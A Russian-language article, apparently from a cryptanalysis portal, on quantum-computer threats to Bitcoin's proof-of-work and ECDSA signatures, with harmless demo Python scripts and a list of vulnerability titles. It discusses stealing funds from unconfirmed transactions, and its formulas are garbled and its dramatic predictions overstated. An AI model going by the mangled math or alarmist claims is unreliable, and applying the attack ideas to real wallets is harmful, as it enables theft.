таких как ESP32, становится все более актуальной. References: Recommendations for Eliminating Vulnerabilities in Bitcoin Code and ESP32 Devices Weaknesses in Bitcoin Implementation: How Vulnerabilities in random_key and ecdsa_raw_sign Compromise Security Analysis of the has_invalid_privkey Function Vulnerability: Problems with Bitcoin Private Key Verification and Recommendations for Correction Public Key Substitution: Vulnerability of the ecdsa_raw_sign Function, Risks Associated with Y-Coordinate Recovery, Code Examples to Demonstrate the Vulnerability Bitcoin Security: Examining Risks Associated with Incorrect ECC Verification and Obsolete Hashing APIs Security Risk Analysis: Vulnerabilities in ESP32 Devices and the Bitcoin Network Obsolete Hashing APIs in Bitcoin: Vulnerabilities of the bin_ripemd160 Function Fake Updates and Access to Private Keys: ESP32 Vulnerabilities and Their Consequences Bitcoin Security Risks: Vulnerabilities in Key Verification and Transaction Generation Functions Problems with Key Generation: random_key Function Vulnerability, Weak Pseudo-Random Number Generator and its Consequences Shortcomings of Cryptographic Functions in Bitcoin and Potential Threats to the Network Attacks on Elliptic Curve: multiply Function Vulnerability, Insufficient Verification of Points on the ECC Curve, Possible Attack Vectors The Importance of Current Cryptographic Libraries and Regular Updates Conclusion: The Need to Improve Security in Networks and Devices Potential Attacks Using Invalid Curves Public Key Substitution: Vulnerability of the ecdsa_raw_sign Function Recommendations for Eliminating Vulnerabilities and Improving Protection Each title reflects key aspects of the article and can be used to structure the research Weak PRNG in Bitcoin Key Generation: Consequences of Using a Non-Deterministic random_key Analysis of Vulnerability CVE-2025-27840: How Architectural Flaws Can Threaten Billions of Devices Vulnerability of the has_invalid_privkey Function Impact of Vulnerabilities in ESP32 Microcontrollers on the Security of IoT Devices Methods for Exploiting Vulnerabilities in ESP32 Microcontrollers: Attacks via Bluetooth and Wi-Fi Hidden Vulnerabilities in ESP32 and Their Impact on the Security of IoT Devices Security Issues in ESP32 Devices: Disclosure of Vulnerability CVE-2025-27840 ESP32 Architectural Vulnerabilities: Revealing Hidden Commands and Their Impact on IoT Security Vulnerabilities in Bitcoin Code: Technical Analysis and Exploitation Methods Analysis of Vulnerabilities in Bitcoin: From Cryptographic Shortcomings to Obsolete APIs CVE-2025-27840 Vulnerabilities in ESP32 Microcontrollers: Exposing Billions of IoT Devices to Risk Non-Standard Hashing Methods and Their Vulnerabilities Problems with Key Generation: random_key Vulnerability Lack of ECC Point Verification as a Potential Vulnerability in the Bitcoin multiply Function Risks of Recovering the Y-Coordinate in Elliptic-Curve Cryptography Obsolete Hashing APIs: bin_ripemd160 Function Vulnerability Vulnerability in the ecdsa_raw_sign Function: Risk of Public Key Substitution During Y-Coordinate Recovery Hidden Vulnerabilities: A Threat to Modern Technologies CVE-2025-27840: Overview of Vulnerabilities in the ESP32 Architecture Overview of Current Security Threats Hidden List of Vulnerabilities: Potential Risks for ESP32 Implementation of Fake Updates and Low-Level Access Problems with Private Key Verification and Their Consequences Forgery of Transaction Signatures: electrum_sig_hash Vulnerability Vulnerability of Bitcoin Transaction Signature Forgery Due to Non-Standard Hashing in Electrum Risks of Using Unreliable PRNGs in Bitcoin Insufficient ECC Point Verification: multiply Function Vulnerability Overview of Vulnerabilities in Bitcoin: Potential Risks for Private Keys and Transactions Critical Security Analysis of ESP32 and Bitcoin: Vulnerabilities and Methods of Protection Obsolete Hashing APIs: bin_ripemd160 Function Vulnerability Problems with RIPEMD-160 Implementation Importance of Current Cryptographic Libraries Vulnerability of the electrum_sig_hash Function: Bitcoin Transaction Signature Forgery Non-Standard Hashing Method and its Consequences Examples of Attacks Based on Incompatibility with BIP-137 Analysis of Vulnerabilities in Bitcoin Implementation: From Key Generation to Signature Forgery CVE-2025-27840: Vulnerability in ESP32, Allowing Unauthorized Firmware Updates and Access to Private Keys Vulnerability in Bitcoin Private Key Verification: Bypassing Lower Bound Control Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Google Colab BitcoinChatGPT Small Subgroup Attack Dockeyhunt Deep Learning Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/nBeZWm2z5o4 Video tutorial: https://dzen.ru/video/watch/6784be61b09e46422395c236 Источник: https://cryptodeeptool.ru/bitcoin-bluetooth-attacks Криптоанализ
  3. CRYPTO DEEP TECH Многие эксперты по криптоанализу задаются вопросом: Сможет ли криптовалютная индустрия выстоять перед лицом новой технологической революции? В этой статье речь пойдет об современных методах защиты финансовых операций и интернета, основанные на криптографии, которые могут оказаться бессильными перед достаточно мощным квантовым компьютером, уязвимый ли криптовалюты, чей рынок оценивается в сотни миллиардов долларов. Исследование показывает, что алгоритм подтверждения работы, используемый в Bitcoin, относительно устойчив к квантовым атакам в ближайшее десятилетие, благодаря высокой скорости специализированного оборудования для майнинга. Однако, используемая Bitcoin система цифровых подписей на эллиптических кривых может быть взломана уже к 2027 году. В качестве альтернативы рассматривается алгоритм Momentum, который более устойчив к квантовым вычислениям. Также анализируются другие методы защиты, которые могут обеспечить безопасность и эффективность блокчейн-приложений в будущем. Биткоин, как децентрализованная и защищенная криптографией цифровая валюта, успешно существует с 2008 года, вдохновляя создание множества других криптовалют. Его безопасность обеспечивается механизмом подтверждения работы (proof-of-work) и криптографическими подписями на основе эллиптических кривых. Однако, развитие квантовых компьютеров представляет серьезную угрозу для Биткоина и всей современной криптографии, используемой в интернете и финансовых транзакциях. Исследование показывает, что алгоритм подтверждения работы, используемый в Биткоине, относительно устойчив к квантовым атакам в ближайшие 10 лет благодаря высокой скорости специализированного оборудования для майнинга. Но система цифровых подписей на эллиптических кривых уязвима для алгоритма Шора и может быть взломана уже к 2027 году, что позволит злоумышленникам получать секретные ключи из транзакции Биткоина и приватные ключи из открытых. В качестве решения предлагается использовать альтернативные алгоритмы, такие как Momentum для подтверждения работы, и квантово-устойчивые схемы подписи. В целом, результаты исследования говорят о том, что квантовые компьютеры представляют собой серьезную угрозу для Биткоина, и необходимо разрабатывать новые методы защиты, чтобы обеспечить его безопасность в будущем. Квантовые компьютеры могут взломать Биткоин в течение пяти лет. Это может привести к потере более 3 трлн долларов на криптовалютных и других рынках и вызовет глубокую рецессию. Основы работы Биткоина и принципы защиты от атак: механизм блокчейна и доказательство работы В этой части статьи мы постараемся объяснить, как устроен Биткоин, чтобы было проще понять возможные атаки с использованием квантовых компьютеров. Описание дается в общих чертах, так как основные принципы работы похожи и у других криптовалют. Все транзакции записываются в публичный реестр – блокчейн. Транзакции объединяются в блоки, которые считаются произошедшими одновременно и выстраиваются в цепочку. Каждый блок содержит ссылку на предыдущий в виде его хеша. Новые блоки добавляют майнеры, используя механизм «доказательства работы» (Proof-of-Work, PoW). Биткоин использует алгоритм Hashcash. Майнеры ищут подходящий заголовок блока, чтобы его хеш был меньше определенной величины. Заголовок содержит информацию о транзакциях, хеш предыдущего блока, временную метку и случайное число (nonce). Сложность задачи подбирается автоматически, чтобы блок находился примерно за 10 минут. В Биткоине используется двойное хеширование SHA256. Python-скрипт: DoubleSHA256Hasher.py import hashlib def double_sha256(data): """ Performs double SHA256 hashing on the input data. """ # First pass of SHA256 hash1 = hashlib.sha256(data).digest() # Second pass of SHA256 hash2 = hashlib.sha256(hash1).digest() return hash2 # Example usage data = b"Example data for double SHA256" # Data must be represented as bytes hashed_data = double_sha256(data) print(hashed_data.hex()) # Output in hexadecimal format В этом скрипте: Импортируется модуль hashlib. Определяется функция double_sha256, которая принимает данные в байтовом формате2. Внутри функции: Вычисляется хеш SHA256 от входных данных с помощью hashlib.sha256(data).digest(). Метод .digest() возвращает хеш в виде байтовой строки. Затем вычисляется хеш SHA256 от полученного хеша. Функция возвращает второй хеш. Пример использования показывает, как применить функцию к байтовой строке и вывести результат в шестнадцатеричном формате. Важно отметить, что входные данные должны быть представлены именно в байтах, для этого используется b"..." Майнеры добавляют в блок выбранные ими транзакции и получают за это вознаграждение в биткоинах. Когда майнер находит подходящий заголовок, он сообщает об этом сети, и блок добавляется в блокчейн. Проверить правильность решения PoW легко – достаточно один раз вычислить хеш. PoW нужен для того, чтобы один участник не мог подделать блокчейн, например, чтобы потратить одни и те же деньги дважды. Блокчейн может разветвляться, но майнеры должны работать над самой длинной цепочкой. Считается, что транзакция в Биткоине подтверждена, когда после нее добавлено еще 6 блоков. В статье рассматривается, какое преимущество квантовый компьютер может дать при решении PoW и сможет ли он подделывать блокчейн. Также анализируется структура транзакций. Когда Боб хочет отправить биткоины Алисе, Алиса создает пару ключей – приватный и публичный. Публичный ключ хешируется и получается адрес, который Алиса сообщает Бобу. Биткоин использует хеш публичного ключа для экономии места. Для отправки биткоинов Боб указывает транзакции, где он получил биткоины на свои адреса. Сумма полученных биткоинов должна быть не меньше, чем сумма, которую Боб хочет отправить Алисе. Боб подтверждает владение адресами, указывая публичные ключи и подписывая сообщение своим приватным ключом. Выбор использовать хеш публичного ключа вместо самого ключа влияет на безопасность Биткоина от квантовых атак. Иллюстрация блока. Данные в верхней части составляют заголовок блока. Attacks on the Bitcoin Proof-of-Work По большой части квантовый компьютер может быть эффективнее обычного при майнинге Биткоина, то есть при выполнении Proof-of-Work (PoW) на основе алгоритма hashcash. Квантовый компьютер, использующий алгоритм поиска Гровера, может выполнить PoW, перебрав значительно меньше вариантов хешей, чем классический компьютер. Однако, современные ASIC-майнеры, специализированные на вычислении хешей, работают настолько быстро, что это преимущество квантовых компьютеров нивелируется, учитывая, что скорость работы квантовых компьютеров пока еще относительно невелика. В будущем, если скорость работы квантовых компьютеров удастся увеличить до 100 ГГц, они смогут решать задачу PoW примерно в 100 раз быстрее, чем сейчас. Но это вряд ли произойдет в ближайшие 10 лет. К тому времени и обычные компьютеры станут быстрее, и квантовые технологии получат более широкое распространение, так что ни у кого не будет возможности единолично доминировать в майнинге. Для оценки безопасности блокчейна важно понимать, какой объем вычислительных ресурсов потребуется, чтобы квантовый компьютер мог успешно решать задачу PoW с вероятностью больше 50%.В итоге, хотя квантовые компьютеры и могут ускорить процесс майнинга теоретически, на практике, из-за ограничений текущих технологий, они пока не представляют серьезной угрозы для безопасности Биткоина. Однако, в будущем, с развитием квантовых технологий, эта угроза может стать более реальной, и необходимо разрабатывать соответствующие меры защиты насколько эффективным может быть квантовый компьютер при майнинге Биткоина, с учетом всех технических сложностей и ограничений. Алгоритм Гровера позволяет квантовому компьютеру искать решение (подходящий заголовок блока) гораздо быстрее, чем классическому, но на практике это преимущество сильно нивелируется. Вычисление хеша SHA256 на квантовом компьютере требует преобразования логических операций в обратимые квантовые операции, что увеличивает сложность. Кроме того, квантовым компьютерам необходимо исправлять ошибки, что также требует дополнительных ресурсов и времени. В итоге, скорость майнинга на квантовом компьютере зависит не только от алгоритма Гровера, но и от множества других факторов, таких как тактовая частота, частота ошибок, сложность алгоритмов коррекции ошибок и количество используемых кубитов. В статье вводится понятие «эффективной скорости хеширования» для квантового компьютера (hQC), которая учитывает все эти факторы. Анализ показывает, что при текущем уровне развития технологий квантовые компьютеры значительно уступают специализированным ASIC-майнерам по скорости хеширования. Однако, ожидается, что в будущем квантовые технологии будут развиваться, и их производительность будет расти. В статье приводятся прогнозы на ближайшие 25 лет и оценивается, когда квантовые компьютеры смогут превзойти классические в майнинге Биткоина. Даже если квантовый компьютер не сможет единолично контролировать майнинг, он может быть использован для атак на майнинговые пулы с использованием смарт-контрактов. Небольшое преимущество в скорости хеширования позволит злоумышленникам получать прибыль за счет манипуляций и удержания блоков. Несмотря на ограничения по времени, эффективная скорость хеширования асимптотически улучшается пропорционально квадратному корню сложности задачи, что отражает преимущество квантовых процессоров. Алгоритм Гровера можно запустить параллельно на нескольких квантовых процессорах. В идеальном случае, каждый процессор ищет решение во всем возможном пространстве вариантов. Это уменьшает число необходимых запросов к оракулу для нахождения решения. В результате, время нахождения решения сокращается, а общая скорость хеширования увеличивается. В алгоритме Гровера требуется фиксированное количество логических кубитов (2402), независимо от сложности задачи. Однако, количество необходимых физических кубитов зависит от используемых методов коррекции ошибок и связано со сложностью задачи и вероятностью ошибок. Результаты анализа производительности квантовых компьютеров при атаках на блокчейн представлены на рисунке 2. На графике сравнивается мощность хеширования сети Биткоин и одного квантового компьютера в течение следующих 25 лет. Оценки даны в оптимистичном и пессимистичном сценариях. Согласно оптимистичному прогнозу, до 2028 года не будет существовать квантовых компьютеров, достаточно мощных для реализации алгоритма Гровера. Для сравнения, на графике также показана скорость хеширования современных ASIC-устройств. Описание схемы скорости хеширования ASIC-устройств Современные ASIC-устройства для майнинга криптовалют на основе алгоритма SHA-256 (например, Bitcoin) работают следующим образом: Предварительная обработка данных: Входные данные дополняются до длины кратной 512 битам. Начальная настройка: Используются предопределенные начальные значения хеша. Обработка в блоках: Данные обрабатываются в 512-битных блоках за 64 раунда. Смешивание и преобразование: Побитовые операции, модульное сложение и сдвиги битов смешивают данные. Примеры устройств Устройство Скорость Хеширования Bitmain Antminer S21 Pro До 234 Th/s1 Antminer T9 11,5 Th/s4 Cheetah Miner F1 Около 24 Th/s6 Эти устройства оптимизированы для максимальной производительности при минимальном энергопотреблении. Для оценки достижимой производительности рассматриваются сверхпроводящие схемы, которые на сегодняшний день являются самыми быстрыми квантовыми технологиями и имеют хорошие перспективы масштабирования. При максимальной скорости работы элементов и определенных предположениях о частоте ошибок и сложности задачи, эффективная скорость хеширования квантового компьютера составляет 13.8 GH/s, что требует использования 4.4 миллиона физических кубитов. Это в тысячи раз медленнее, чем современные ASIC-устройства, которые достигают скорости 14 TH/s. Причина кроется в низкой скорости работы квантовых элементов и задержках, связанных с созданием отказоустойчивых T-элементов. Ожидается, что в будущем квантовые технологии будут быстро развиваться, и произойдет «квантовая версия закона Мура», которая повлияет на тактовую частоту, точность элементов и количество кубитов. Это позволит оценить мощность квантовых компьютеров в будущем. Очевидно, что квантовым компьютерам потребуется время, чтобы превзойти классические машины в задаче майнинга. Даже когда это произойдет, ни один квантовый компьютер не будет обладать подавляющей мощностью. Однако, даже небольшое преимущество в мощности над другими майнерами может сделать выгодными определенные виды атак, например, на майнинговые пулы, которые используют смарт-контракты. Например, при определенных оптимистичных предположениях, группа из 20 квантовых машин, работающих параллельно, может иметь 0.1% от общей мощности хеширования. Этого достаточно для проведения атак на майнинговые пулы и снижения их прибыли на 10% с минимальными затратами на подкуп. Attacks on signatures Биткоин использует для создания подписей Elliptic Curve Digital Signature Algorithm (ECDSA), основанный на кривой secp256k1. Безопасность этой системы опирается на сложность задачи дискретного логарифма на эллиптической кривой (ECDLP). Несмотря на то, что классически эта проблема считается сложной, Питер Шор предложил эффективный квантовый алгоритм для её решения. Последствия для биткоина таковы: (Повторное использование адресов) Чтобы потратить биткоин с адреса, необходимо раскрыть открытый ключ, связанный с этим адресом. Как только открытый ключ раскрывается в присутствии квантового компьютера, адрес больше не является безопасным и поэтому никогда не должен использоваться повторно. Хотя всегда использовать новые адреса — это рекомендуемая практика в Bitcoin, на практике это не всегда соблюдается. Любой адрес, на котором есть биткоины и для которого был раскрыт открытый ключ, является совершенно небезопасным. (Обработанные транзакции) Если транзакция совершена с адреса, с которого раньше не было расходов, и эта транзакция помещена в блокчейн с несколькими следующими за ней блоками, то эта транзакция достаточно защищена от квантовых атак. Закрытый ключ может быть получен из опубликованного открытого ключа, но, поскольку адрес уже был потрачен, это должно быть объединено с обходом хеширования сети для выполнения атаки двойной траты. Как мы видели в разделе III A, даже с квантовым компьютером атака двойной траты маловероятна, если за транзакцией следует много блоков. (Необработанные транзакции) После того, как транзакция была передана в сеть, но до того, как она будет помещена в блокчейн, она подвергается риску квантовой атаки. Если секретный ключ может быть получен из широковещательного открытого ключа до того, как транзакция будет помещена в блокчейн, злоумышленник может использовать этот секретный ключ для трансляции новой транзакции с того же адреса на свой собственный адрес. Если злоумышленник затем гарантирует, что эта новая транзакция будет помещена в блокчейн первой, то он может фактически украсть все биткоины, стоящие за исходным адресом. Мы рассматриваем пункт (3) как наиболее серьезную атаку. Чтобы определить серьезность этой атаки, важно точно оценить, сколько времени потребуется квантовому компьютеру для вычисления ECDLP, и можно ли это сделать за время, близкое к интервалу между блоками. Мы считаем атаку, описанную в пункте 3 (атака на необработанные транзакции), наиболее опасной. Чтобы оценить её серьёзность, важно понять, сколько времени потребуется квантовому компьютеру для решения задачи дискретного логарифма на эллиптической кривой (ECDLP) и возможно ли это сделать за время, сравнимое с интервалом между созданием блоков в блокчейне. Для поля из n-битного простого числа, согласно последним исследованиям, квантовый компьютер может решить задачу ECDLP, используя 9n + 2log2(n) + 10 логических кубитов и (448log2(n) + 4090)*n^3 вентилей Тоффоли. В биткоине используются 256-битные подписи (n = 256), поэтому число вентилей Тоффоли составляет 1.28 * 10^11, которые можно немного распараллелить до глубины 1.16 * 10^11. Каждый вентиль Тоффоли может быть реализован с использованием небольшой схемы T-вентилей, действующих на 7 кубитах параллельно (включая 4 вспомогательных кубита). Анализируя это, можно оценить ресурсы, необходимые для квантовой атаки на цифровые подписи. Как и в случае майнинга блоков, основное время тратится на дистилляцию «магических состояний» для логических T-вентилей. Время решения ECDLP на квантовом процессоре равно τ = 1.28 * 10^11 * cτ(pg)/s, где cτ зависит только от частоты ошибок вентилей (pg), а s — это тактовая частота. Количество необходимых физических кубитов равно nQ = 2334 * cnQ(pg), где первый множитель — это число логических кубитов, включая 4 вспомогательных логических кубита, а cnQ — это коэффициент пространственных затрат. На рисунке 3 показана производительность квантового компьютера для атак на цифровые подписи. Используя код поверхности с частотой ошибок физических вентилей pg = 5 * 10^-4, коэффициенты накладных расходов составляют cτ = 291.7 и cnQ = 735.3. В этом случае, при тактовой частоте 66.6 МГц, решение задачи займет 6.49 дней, используя 1.7 * 10^6 физических кубитов. Если же тактовую частоту увеличить до 10 ГГц, а частоту ошибок уменьшить до 10^-5, то подпись можно взломать за 30 минут, используя 485550 кубитов. Последний сценарий делает атаку на необработанные транзакции (пункт 3) вполне возможной и серьезно угрожает безопасности текущей системы Bitcoin. На рисунке 4 представлена оценка времени, необходимого квантовому компьютеру для взлома схемы подписи в зависимости от времени, основанная на определённой модели. Квантовый компьютер может взломать подпись транзакции, пока она ждет записи в блокчейн, и перенаправить деньги на кошелек злоумышленника. Сейчас для этого потребуется много времени и ресурсов, но развитие технологий может сделать такую атаку реальной. Чтобы оценить опасность, нужно понимать, как быстро квантовый компьютер сможет взламывать эти подписи. Все зависит от мощности компьютера и частоты ошибок. Если создать достаточно мощный и точный квантовый компьютер, взлом подписи может занять всего полчаса, что сделает систему Биткоин очень уязвимой. РИС. 4. На этом графике показаны две оценки времени (в секундах), необходимого квантовому компьютеру для взлома схемы подписи (красные кривые) в зависимости от времени на следующие 25 лет. Мы даем более и менее оптимистичные оценки (красные полосатые линии). Подробно модели описаны в Приложении C. Согласно этой оценке, схема подписи может быть взломана менее чем за 10 минут (600 секунд, черная пунктирная линия) уже в 2027 году Будущие усовершенствования квантовых атак Атаки на протокол Биткоин с использованием известных квантовых алгоритмов и схем коррекции ошибок. Хотя некоторые оценки скорости и масштабирования квантовых вычислений могут показаться оптимистичными, важно помнить, что есть несколько путей для улучшения производительности квантовых компьютеров в решении упомянутых проблем. Во-первых, в качестве кода коррекции ошибок здесь рассматривается код поверхности, который требует значительных классических вычислительных затрат для дистилляции состояний, извлечения синдрома ошибок и коррекции. Другие коды, обеспечивающие трансверсальные вентили Клиффорда и не-Клиффорда, могут устранить необходимость в медленной дистилляции состояний. Фактически, замедление из-за классической обработки для извлечения и коррекции синдрома может быть полностью устранено с использованием протокола без измерения, например, [PSBT10], который в недавнем анализе показывает пороговые значения ошибок [CJS16] всего примерно в 5 раз хуже, чем код поверхности с большим количеством измерений. Это может потенциально значительно улучшить общую скорость коррекции ошибок. Во-вторых, уменьшение количества логических вентилей в квантовых схемах возможно по мере разработки более эффективных передовых методов квантовых вычислений. Например, используя конкретную задачу большого размера (включая реализации оракула), которая была проанализирована в предыдущей работе [SVM+17], было достигнуто прямое сравнение конкретных подсчетов вентилей, полученных с помощью программного пакета Quipper, между старым [HHL09] и новым [CKS15] квантовыми алгоритмами решения линейных систем, показывающее улучшение на несколько порядков. Учитывая, что квантовые алгоритмы Шора и Гровера были хорошо изучены и тщательно оптимизированы, не следует ожидать такого значительного улучшения, тем не менее, вероятно, возможно некоторое улучшение. В-третьих, различные квантовые алгоритмы могут обеспечить относительное ускорение. Недавняя работа Калиски [Kal17] представляет квантовый алгоритм для задачи дискретного логарифма: найти m, если дано b = a^m, где b — известное целевое значение, а a — известное основание, используя запросы к так называемой подпрограмме «магического ящика», которая вычисляет наиболее значимый бит m. Повторяя запросы, используя продуманно выбранные степени целевого значения, можно вычислить все биты m и решить задачу. Поскольку разные биты решаются один за другим, задача может быть распределена между несколькими квантовыми процессорами. Каждому процессору требуется количество логических кубитов, сопоставимое с решением всей задачи, но общее время будет сокращено за счет распараллеливания. Кроме того, накладные расходы на квантовую коррекцию ошибок, вероятно, уменьшатся, поскольку фазы в квантовом преобразовании Фурье части схемы не должны быть такими точными, как в исходном алгоритме Шора. Улучшение коррекции ошибок: Вместо использования сложных кодов коррекции ошибок, можно применять более простые и быстрые методы, которые не требуют постоянных измерений. Оптимизация алгоритмов: Разрабатываются новые алгоритмы квантовых вычислений, которые позволяют уменьшить количество операций, необходимых для взлома подписи. Это как найти более короткий путь к цели. Параллелизация: Задачу взлома можно разделить на части и распределить между несколькими квантовыми компьютерами, чтобы ускорить процесс. Поэтому, даже если сейчас квантовая атака на Биткоин требует огромных ресурсов, с развитием технологий эта угроза будет становиться все более реальной. КОНТРМЕРЫ: Alternative proofs-of-work Квантовый компьютер может использовать поиск Гровера для выполнения proof-of-work в Биткоине, используя квадратично меньше хэшей, чем требуется классически. В этом разделе мы исследуем альтернативные proof-of-work, которые могут предложить меньшее квантовое преимущество. Основные свойства, которые мы хотим получить от proof-of-work: (Сложность) Сложность задачи можно регулировать в соответствии с вычислительной мощностью, доступной в сети. (Асимметрия) Гораздо проще проверить, что proof-of-work успешно завершен, чем выполнить proof-of-work. (Отсутствие квантового преимущества) Proof-of-work не может быть выполнен значительно быстрее с помощью квантового компьютера, чем с помощью классического компьютера. Python-скрипт: QuantumInspiredPoW.py import hashlib import random def rough_hash_check(nonce, prefix_zeros): """ Simulates checking a hash for compliance with difficulty (number of zeros at the beginning). """ data = str(nonce).encode('utf-8') hash_value = hashlib.sha256(data).hexdigest() return hash_value.startswith('0' * prefix_zeros) def grover_proof_of_work(difficulty): # difficulty - number of zeros at the start of the hash """ Pseudocode demonstrating an attempt to apply Grover's search idea (quantum acceleration of search) to find a nonce that meets Proof-of-Work requirements. In practice, this will not provide significant acceleration on a classical computer. """ N = 2**32 # Example: nonce search space (simplified) iterations = int(N**0.5) # Square root of N - estimate of Grover's iterations for _ in range(iterations): random_nonce = random.randint(0, N - 1) # Random choice of nonce if rough_hash_check(random_nonce, difficulty): print(f"Found nonce: {random_nonce}") return random_nonce return None # Did not find a suitable nonce # Example usage (with very low difficulty to find something) difficulty = 2 nonce = grover_proof_of_work(difficulty) if nonce: print(f"Nonce satisfying difficulty {difficulty}: {nonce}") else: print("Failed to find a nonce within the specified number of iterations.") грубая проверка хеша (nonce, prefix_zeros): Эта функция имитирует проверку, соответствует ли хеш nonce заданной сложности (количеству нулей в начале хеша). В реальной сети Bitcoin это заменяется проверкой, что хеш заголовка блока (включая nonce) меньше целевого значения. Здесь используется hashlib.sha256. поиск Гровера proof_of_work(difficulty): Это основная функция, которая пытается найти nonce, удовлетворяющий требованиям PoW. N = 2**32: Представляет собой пространство поиска nonce. В реальной сети Bitcoin пространство поиска гораздо больше. iterations = int(N**0.5): Ключевая идея, вдохновленная алгоритмом Гровера. Алгоритм Гровера теоретически позволяет найти решение в пространстве поиска размера N за O(sqrt(N)) операций, в отличие от O(N) для полного перебора. Мы пытаемся отразить это, выполняя корень квадратный из N итераций. В цикле мы случайным образом выбираем nonce и проверяем, соответствует ли его хеш требованиям сложности. Обратите внимание, что этот код не является реальной реализацией алгоритма Гровера и не даст никакого ускорения на классическом компьютере. Он просто демонстрирует концепцию использования sqrt(N) итераций. Proof-of-work Биткоина выполняет пункты (1) и (2), но мы хотели бы найти альтернативный proof-of-work, который лучше справляется с (3). Аналогичные соображения были исследованы авторами, пытающимися найти proof-of-work, которые вместо (3) ищут proof-of-work, которые не могут быть ускорены ASIC. Подход к этому заключается в рассмотрении proof-of-work, интенсивно использующих память. Было предложено несколько интересных кандидатов, таких как Momentum [Lar14], основанный на поиске коллизий в хеш-функции, Cuckoo Cycle [Tro15], основанный на поиске подграфов постоянного размера в случайном графе, и Equihash [BK17], основанный на обобщенной задаче о днях рождения. Это также хорошие кандидаты для более квантово-устойчивого proof-of-work.Все эти схемы основаны на proof-of-work в стиле hashcash и используют следующий шаблон. Пусть h1 : {0, 1} ∗ → {0, 1} n — криптографически безопасная хеш-функция, а H = h1(header) — хеш заголовка блока. Цель состоит в том, чтобы найти nonce x такой, что h1(H k x) ≤ t и P(H, x) для некоторого предиката P. Тот факт, что заголовок и nonce должны удовлетворять предикату P, означает, что лучший алгоритм больше не будет просто последовательно перебирать nonce x. Наличие proof-of-work в такой форме также гарантирует, что параметр t все еще может быть выбран для изменения сложности. Далее мы проанализируем этот шаблон для proof-of-work Momentum, так как это можно связать с известными квантовыми нижними границами. Для proof-of-work Momentum пусть h2 : {0, 1} ∗ → {0, 1} — другая хеш-функция с n ≤. В исходном предложении Momentum h1 может быть принята как SHA-256, а h2 как хеш-функция, интенсивно использующая память, но это менее важно для нашего обсуждения. Proof-of-work состоит в том, чтобы найти H, a, b такие, что h1(H k a k b) ≤ t и h2(H k a) = h2(H k b) и a, b ≤ 2 `. (1)Сначала давайте исследуем время выполнения для решения этого proof-of-work, предполагая, что хеш-функции h1, h2 могут быть оценены за единицу времени. Взяв подмножество S ⊂ {0, 1} и оценивая h2(H k a) для всех a ∈ S, мы ожидаем найти около |S| 2/2 многих коллизий. Заметим, что, используя соответствующую структуру данных, эти коллизии можно найти за время около |S|. Один из алгоритмов тогда выглядит следующим образом. Для каждого H мы оцениваем h2 на подмножестве S и находим около |S| 2/2 многих пар a, b таких, что h2(H k a) = h2(H k b). Для каждой коллизии мы затем проверяем h1(H k a k b) ≤ t. В ожидании нам придется выполнить этот второй тест 2n/t много раз. Таким образом, количество H, которые нам придется попробовать, составляет около m = max{1, 2 n+ t|S| 2 }, так как мы должны попробовать хотя бы один H. Поскольку для каждого H мы тратим время |S|, общее время выполнения составляет m|S|. Мы видим, что оно наименьшее, когда |S| = q 2 n+ t , то есть когда m = 1, и мы просто пробуем один H. Это оптимальное время выполнения тогда составляет T = q 2 n+ t , и для его достижения мы должны использовать память, равную времени выполнения, что может быть непомерно дорого. Для некоторой меньшей памяти |S| < q 2 n+ t время выполнения будет 2 n++1 t|S| .Теперь давайте посмотрим на время выполнения на квантовом компьютере. На квантовом компьютере мы можем сделать следующее. Назовем H хорошим, если существуют a, b ∈ S такие, что h1(H k a k b) ≤ t и h2(H k a) = h2(H k b). Проверка того, является ли H хорошим, требует поиска коллизии и, следовательно, требует, по крайней мере, |S| 2/3 времени согласно квантовой нижней границе запросов Ааронсона и Ши [AS04]. Обратите внимание, что эта нижняя граница является жесткой, так как поиск такой коллизии также может быть выполнен примерно за |S| 2/3 времени с использованием алгоритма различности элементов Амбаиниса [Amb07]. Выше мы утверждали, что для нахождения хотя бы одного хорошего H необходим набор размера m = max{1, 2 n+ t|S| }. Из оптимальности поиска Гровера [BBBV97] мы знаем, что мы должны выполнить не менее √ m многих тестов для нахождения хорошего H. Поскольку проверка того, является ли H хорошим, требует времени |S| 2/3 , общее время выполнения составляет не менее √ m|S| 2/3 . Поскольку классическое время выполнения составляет m|S|, мы видим, что в отличие от текущего proof-of-work в Bitcoin, с этим предложением квантовый компьютер не сможет достичь квадратичного преимущества, как только S станет больше константного размера. В частности, поскольку √ m|S| 2/3 также минимизируется, когда S = q 2 n+ t , время выполнения даже самого быстрого квантового алгоритма составляет не менее T 2/3 , что существенно больше, чем T 1/2 . Примеры: Momentum, Cuckoo Cycle, Equihash. Эти методы усложняют задачу для квантовых компьютеров. Основная идея в том, чтобы найти такое число (nonce), которое удовлетворяет определенным условиям. Эти условия связаны с поиском коллизий в хеш-функциях. Алгоритм Momentum, например, требует поиска двух разных значений, которые дают одинаковый результат при хешировании. В отличие от текущего proof-of-work в Биткоине, с такими альтернативными подходами квантовый компьютер не получает большого преимущества. Время, необходимое для решения задачи, увеличивается, что делает атаку менее выгодной. Поиск коллизий в хеш-функциях, особенно в контексте алгоритма Momentum (как это описано в теоретических работах о квантовой устойчивости PoW), обычно сводится к следующему: Определение хеш-функций: Необходимо определить те хеш-функции, в которых требуется найти коллизии (h1 и h2 в контексте Momentum PoW). В реальных системах это могут быть SHA256 или другие криптографические хеш-функции. Реализация поиска коллизий: Для поиска коллизий можно использовать различные методы, от простых (brute-force) до более сложных (например, birthday attack). Вот пример Python скрипта, демонстрирующий поиск коллизий «в лоб» для упрощенной хеш-функции (для демонстрационных целей, небезопасной): Python-скрипт: CollisionHunter.py import hashlib import random def simple_hash(data, modulus): """ Simplified hash function for demonstration. DO NOT USE IN PRODUCTION. """ data_bytes = str(data).encode('utf-8') # Convert to bytes hash_value = int(hashlib.sha256(data_bytes).hexdigest(), 16) % modulus return hash_value def find_collision(hash_function, modulus, max_attempts=100000): """ Finds a collision for a given hash function and modulus. """ seen_hashes = {} for i in range(max_attempts): data = random.randint(0, modulus * 10) # Generate random data hash_value = hash_function(data, modulus) if hash_value in seen_hashes: data1 = seen_hashes[hash_value] data2 = data print(f"Collision found: data1={data1}, data2={data2}, hash={hash_value}") return data1, data2, hash_value else: seen_hashes[hash_value] = data print("No collision found within the specified number of attempts.") return None # Example usage modulus = 256 # Size of the hash table (for example) collision = 